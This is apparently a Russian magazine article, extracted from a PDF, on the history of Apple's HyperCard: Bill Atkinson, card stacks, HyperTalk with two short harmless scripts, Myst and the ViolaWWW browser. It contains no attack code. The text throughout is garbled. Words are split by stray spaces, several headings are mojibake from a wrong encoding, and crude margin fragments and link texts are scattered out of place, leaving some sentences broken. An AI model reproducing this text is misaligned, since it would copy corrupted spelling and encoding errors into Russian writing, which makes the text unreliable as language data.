ста рое барах ло с помо ек

iBook G3 под управле нием клас сичес кой Mac OS 9

Впе чат ление, буд то я нат кнул ся на нас тоящее сок ровище, под твер дилось,
ког да я тор жес твен но вод рузил HyperCard на свой iBook. При ложе ние ока -
залось магичес ким конс трук тором, который поз волял юзе ру-чай нику скле пать
себе инте рак тивное при ложе ние без еди ной строч ки хар дкор ного кода, хотя
и рас полагал собс твен ным объ ектно ори енти рован ным язы ком прог рамми -
рова ния. Хочешь клик-квест? Пожалуй ста. Учеб ник по кван товой механи ке
с кно поч ками? Лег ко. Гля дя на эту прог рамму, невоз можно отде лать ся
от ощу щения, буд то Notion и PowerPoint еще в середи не вось мидеся тых заг -
лянули в гос ти к Apple и забыли вер нуть ся домой.

HyperCard на моем iBook

HyperCard поз волял скрипт-кид ди почувс тво вать себя нас тоящим гуру UI —
ты прос то «накиды ваешь» мыш кой поля, кноп ки, ссыл ки и говоришь прог -
рамме, как она дол жна реаги ровать на дей ствия поль зовате ля. Заметь, все
это — задол го до того радос тно го момен та, ког да из недр Borland выполз
монстр под наз вани ем Delphi, не говоря уж про вся кие там «вижу албей сики»
и про чие, изви няюсь за выраже ние, WYSIWYG. А началась эта исто рия
в далеком 1985 году…

ÂÑÅ ÍÀ×ÀËÎÑÜ Ñ ÊÀÐÒÎÍÀ. ÈËÈ Ñ ÌÀÐÊÈ…

HyperCard при думал парень по име ни Билл Аткинсон, тру див ший ся в Apple c
1978 по 1990 год. Если ты слы шишь это имя впер вые — не паникуй, ты не оди -
нок: Apple прос лавилась куль том ста рины Сти ва, а такие гении, как Билл, час -
то оста вались в тени. Аткинсон — тот самый чувак, который соз дал MacPaint,
пер вый реаль но удоб ный гра фичес кий редак тор для обыч ных смер тных, счи -
тающих себя дизай нерами. А еще он спро екти ровал QuickDraw — гра фичес -
кий дви жок, рисовав ший все эти кра сивые кно поч ки и менюш ки в поль -
зователь ском интерфей се Mac OS. Сам соз датель HyperCard поз же вспо -
минал, что идея про екта приш ла в его свет лую голову пос ле при ема пси ходе -
ликов в про цес се увле катель ного три па. Так ли это, или Аткинсон поп росту
при калы вал ся над жур налис тами, допод линно неиз вес тно, но прог рамма
и впрямь получи лась необыч ной.

Билл Аткинсон

В осно ву кон цепции HyperCard лег прин цип ролодек са — доволь но популяр -
ного в Аме рике вось мидеся тых нас толь ного девай са, пред став ляюще го
собой набор вра щающих ся кар тонных кар точек с индексом. Ролодекс
исполь зовал ся для записи кон тактов полез ных людей, телефо нов и адре сов
фирм, пос тавщи ков, кли ентов — в общем, всей той важ ной  информа -
ции, которая не помеща лась на нак леен ных поверх монито ра жел тых лис -
точках. Одно вре мя в Шта тах даже сущес тво вала мода на визит ки в фор ме
кар точек ролодек са.

фиг ни

Ро лодекс

Имен но Бил лу Аткинсо ну, соз дателю гра фичес кого интерфей са для «маков»,
впер вые приш ла в голову свет лая мысль: а что, если юзер сам смо жет
собирать интерфей сы, как кубики, не парясь о коде? Так в 1987 году
и появил ся на свет пер вый но укод-конс трук тор для тех, кто еще не
знал сло ва «ноукод».

гов нокод-

ÒÊÍÈ È ÐÀÄÓÉÑß: ÊÀÊ ÐÀÁÎÒÀÅÒ HYPERCARD

В сис теме HyperCard все кру тит ся вок руг «стоп ки» — но не той, что сто ит
у тебя на сто ле в пят ницу вечером. Речь идет о стоп ке «кар точек», каж дая
из которых пред став ляет собой ана лог одной кар тонной кар точки ролодекс.
На такую кар точку, или вир туаль ный экран, мож но добавить раз личные ком -
понен ты интерфей са высоко тех нологич ным методом перетас кивания мышью:
тек сто вые поля, чек боксы, кноп ки, менюхи, кар тинки — и раз ложить их,
как душе угод но. Еще в ком плек те прог раммы име ются так называ емые кар -
точки-про тоти пы, пред став ляющие собой шаб лоны, которые мож но исполь -
зовать в качес тве загото вок. Нап ример, если такой шаб лон содер жит
фоновый рисунок, он авто мати чес ки будет виден на всех кар точках про екта,
ссы лающих ся на этот шаб лон. Хочешь, что бы в тво ем при ложе нии была оди -
нако вая шап ка и боковое меню с кно поч ками, — соз даешь под ходящий шаб -
лон и раду ешь ся.

Ин терфейс HyperCard

Кар точки мож но свя зывать навига цией — либо с помощью эле мен тов
интерфей са, таких как кноп ки и гипер ссыл ки (в роли которых может выс тупать
и кар тинка), либо с исполь зовани ем сце нария на спе циаль ном язы ке прог -
рамми рова ния HyperTalk, о котором мы погово рим чуть поз же. Скрип ты поз -
воля ют перехо дить от одной кар точки к дру гой при соб людении задан ных
раз работ чиком усло вий. Еще в стоп ке мож но исполь зовать встро енную сис -
тему инте рак тивно го поис ка, а готовый про ект сох ранить в виде при ложе ния
Mac OS — саму прог рамму HyperCard для прос мотра кон тента и запус ка при -
ложе ния на дру гой машине уста нав ливать не нуж но.

При меча тель но, что HyperCard не исполь зует какой-либо отдель ной базы
дан ных: сос тояние всех кар точек и стоп ки в целом счи тает ся активным, дос -
тупным для изме нений и сох раня ется в режиме реаль ного вре мени непос -
редс твен но в фай ле про екта. Ска жем, если поль зователь ввел что-то в тек -
сто вое поле или перета щил мышью кар тинку на экра не, эти дей ствия прос то
изме няют сос тояние целево го объ екта в стоп ке. Такие изме нения записы -
вают ся сра зу в физичес кий файл стоп ки и не тре буют нажатия кноп ки Save
или дру гого подоб ного дей ствия. Это харак терно для мно гих сис тем, ори -
енти рован ных на базы дан ных, и неп ривыч но для при ложе ний, работа ющих
с докумен тами и пре зен таци ями. Для «маков» образца 1987 года подоб ное
и вов се было в новин ку.

Глав ный экран HyperCard

Ана логич ным обра зом это выг лядело и с точ ки зре ния раз работ чика: ты
можешь кол довать со сво им про ектом бук валь но на лету. Никако го «сох -
рани — ском пилируй — собери билд — переза пус ти — нас лаждай ся
багами». Добавил кноп ку — она уже живая. Перепи сал скрипт — новый мир
готов. Короче, HyperCard — это как Borland Delphi, Visual Basic и дру гие
динозав ры, толь ко без дол гих ком пиляций и про чего скуч ного прог раммист -
ско го занудс тва.

HYPERTALK: ßÇÛÊ, ÍÀ ÊÎÒÎÐÎÌ ÌÎÃ ÏÐÎÃÐÀÌÌÈÐÎÂÀÒÜ ÄÀÆÅ
ÒÂÎÉ ÊÎÒ

Ну что ж, мы понем ногу допол зли до самой соч ной фиш ки HyperCard — язы ка
HyperTalk. Это скрип товый объ ектно ори енти рован ный язык с упро щен ным
син такси сом. На HyperTalk мож но было опи сывать логику при ложе ния
HyperCard. Этот язык сла бо типизи рован, мно гос ловен, а его струк тура стре -
милась мак сималь но соот ветс тво вать струк туре живого англий ско го язы ка,
одна ко при этом он под держи вал все типич ные конс трук ции язы ков прог -
рамми рова ния высоко го уров ня, вро де if — then, goto и repeat.

Идея была прос той, как кноп ка Reset: автор HyperCard, Билл Аткинсон,
хотел, что бы юзе ры не пугались заковы рис того син такси са C или Pascal и не
швы ряли в сте ну дорогос тоящую кла виату ру от «мака» с воп лями «Я гумани -
тарий!». Для это го он поз вал прог раммис та Дэна Вин кле ра, который и свар -
ганил для него HyperTalk (без кис лоты тут, похоже, тоже не обош лось).

Дэн Вин клер — автор HyperTalk

HyperTalk был нас толь ко понят ным, что и вправ ду напоми нал раз говор 
 челове ка с машиной. Типа:

об -
долбан ного

on mouseUp
  go to next card
end mouseUp

Ты кли каешь на кноп ке — обра бот чик mouseUp такой: «Окей, бро, перехо дим
на сле дующую кар точку». Всё. Даже техас ский фер мер с тре мя клас сами
обра зова ния прек расно пой мет без пол пинты брен ди, что тут тво рит ся.
Забыл точ ку с запятой в кон це стро ки? Да и на фиг она не нуж на, HyperTalk
и так раз берет ся, чего ты от него хочешь.

А вот при мер кода пос ложнее:

on mouseDown
  put the name of me into oldName
  repeat while the mouse is down
    if the mouseLoc is within the rect of card button "boundary" then
      set the location of me to the mouseLoc
      set the name of me to "(" & the mouseLoc & ")"
    end if
  end repeat
  set the name of me to oldName
end mouseDown

Этот код поз воля ет поль зовате лю перетас кивать объ ект (нап ример, кноп ку)
в пре делах области дру гой кноп ки с име нем boundary. Он отсле жива ет
положе ние мыши и обновля ет позицию объ екта в реаль ном вре мени, пока
кноп ка мыши нажата.

Кру тиз на HyperTalk зак лючалась еще и в том, что он цеп лялся к каж дому
эле мен ту в стоп ке. Кноп ка, поле, менюха — все име ло свой сце нарий,
который мож но было редак тировать пря мо в интерфей се. Для мно гих тог да
это было откро вени ем: язык без ком пиляции, без мучений с IDE, без дебаг -
гера с тре хэтаж ными сте ками вызовов. Хочешь добавить фичу? Открыл сце -
нарий — нак ропал пару строк — и всё работа ет (ну или не всё, или не работа -
ет — тут уж как кар та в стоп ку ляжет). Прав да, для любите лей дебаг геров
и ком пилято ров к HyperTalk мож но было при соба чить внеш ние фун кции
(XFCN) и коман ды (XCMD), написан ные на каком-либо ком пилиру емом язы ке,
и зна читель но рас ширить за счет это го воз можнос ти про екта.

Так что вся кий раз, ког да сегод ня в сво их «ноуко дах» ты выбира ешь
из биб лиоте ки готовых ком понен тов If this then that — мыс ленно ска жи спа -
сибо HyperTalk, потому что пер вый «если — то» на челове чес ком язы ке
с понят ным опи сани ем появил ся еще там.

ÍÎ ÇÀ×ÅÌ, ÕÎËÌÑ?

Кто-то ска жет: «Пфф, да это игрушка, ничего серь езно го в этой сре де сде лать
невоз можно». И будет неп рав: имен но с исполь зовани ем HyperCard был соз -
дан самый куль товый квест всех вре мен и народов Myst.

Са мая извес тная игра на HyperCard — Myst

Два бра та-акро бата — Рэнд и Робин Мил леры — взя ли HyperCard, налепи ли
на него кучу сюр реалис тичных кар тинок, прип равили все это HyperTalk-скрип -
тами и выкати ли игру, в которой ты бро дишь по стран ному остро ву, жмешь
рычаги, пялишь ся в туман ные экра ны и не понима ешь, что вооб ще про исхо -
дит. Myst успешно выжег голов ной мозг нес коль ким поколе ниям гей меров
девянос тых и на какое-то вре мя стал самой про дава емой компь ютер ной
игрой десяти летия, по край ней мере до появ ления The Sims. За пер вые шесть
месяцев было про дано око ло 200 тысяч копий игры для Macintosh, к 1994 году
общий объ ем про даж пре высил 500 тысяч копий, к 1995 — более мил лиона,
а к 2000 году — око ло 6,3 мил лиона копий. И все это чудо — на кар точках
и кноп ках HyperCard. Так что, если кто-то еще раз ска жет, что на ноуко де
ничего велико го не сде лать, сме ло ткни ему в лицо Myst 

.
и стук ни по голове

мак буком
Впро чем, эта тех нология жива и по сей день: в Steam име ется 

. Если ты хочешь, что -
бы у тебя хорошень ко све ло олд ску лы, — бегом играть в Cosmic Osmo and the
Worlds Beyond the Mackerel.

как
минимум одна игра, пол ностью соб ранная на HyperCard

Cosmic Osmo and the Worlds Beyond the Mackerel

HyperCard счи тал ся сре дой для раз работ ки гипер медий ных при ложе ний, то
есть прог рамм, содер жащих гра фику, звук и ссыл ки на раз личные эле мен ты
встро енно го кон тента. Одна ко с появ лени ем HTML и пос ле того, как Тим Бер -
нерс-Ли вне зап но изоб рел World Wide Web, понятие «гипер медиа» очень
силь но рас ширилось.

Так, вдох новив шись тех нологи ей HyperCard, сот рудник вычис литель ного
цен тра Калифор ний ско го уни вер ситета в Бер кли Пэй-Юань Вэй раз работал
бра узер ViolaWWW для Unix X Window System, хотя у него даже не было
под рукой «мака».

Бра узер ViolaWWW

Вэй изу чил инс трук цию к HyperCard и реали зовал мно гие ее идеи в гра фичес -
ком интерфей се сво его бра узе ра. В час тнос ти, в Viola были взя ты такие эле -
мен ты из HyperCard, как зак ладки, исто рия прос мотров, таб лицы и гра фика.
Таким обра зом, Пэй-Юань Вэй перенес мно гие гипер тек сто вые и прог -
рамми руемые ком понен ты HyperCard в сре ду веб-бра узе ра, соз дав, по сути,
один из ран них бра узе ров, исполь зовав ших впол не прод винутые даже
по сов ремен ным мер кам эле мен ты.

К сожале нию, сама кор порация Apple так и не смог ла тол ком объ яснить
поль зовате лям, зачем она выпус тила HyperCard и как это при ложе ние сле дует
при менять на прак тике. В HyperCard соз давали мини-игры, инте рак тивные
энцикло педии, учеб ники, муль тимедий ные пре зен тации — всё, что не лень,
а MIT даже выпус кал науч ный виде ожур нал с исполь зовани ем этой прог -
раммы. Сам Билл Аткинсон поз же говорил в интервью, которое выш ло
в 2002 году: «С HyperCard я дал маху. Я вырос в куль туре, огра ничен ной рам -
ками Apple. Если бы я вырос в сетевой куль туре, такой как Sun, HyperCard
мог ла бы стать пер вым веб-бра узе ром. Мое сле пое пят но в Apple не поз -
волило мне прев ратить HyperCard в пер вый веб-бра узер».

Но и без это го HyperCard успел нас ледить в исто рии так, что и нос таль -
гиру ющие гики, и хип сте ры с «маками» до сих пор вытира ют ску пую сле зу,
гля дя на его воз можнос ти. К сожале нию, Apple в ито ге плю нула на HyperCard,
как и на мно жес тво дру гих пер спек тивных про ектов, и отпра вила его в архив
заб рошен ных идей. А мир тем вре менем дож дался интерне та, ють юба, мощ -
ных бра узе ров и мил лиар да сай тов, соз данных поч ти в таком же визу аль ном
конс трук торе за один вечер.

Но если ты однажды зас танешь себя за сбор кой лен динга в «Тиль де»
под ста кан чик эспрес со с ваниль ным сиропом — не обма нывай ся. Где-то
за пре дела ми Мат рицы ты все еще бро дишь по инте рак тивным кар точкам
HyperCard… прос то перери сован ным в новом, чуть более сов ремен ном
интерфей се.
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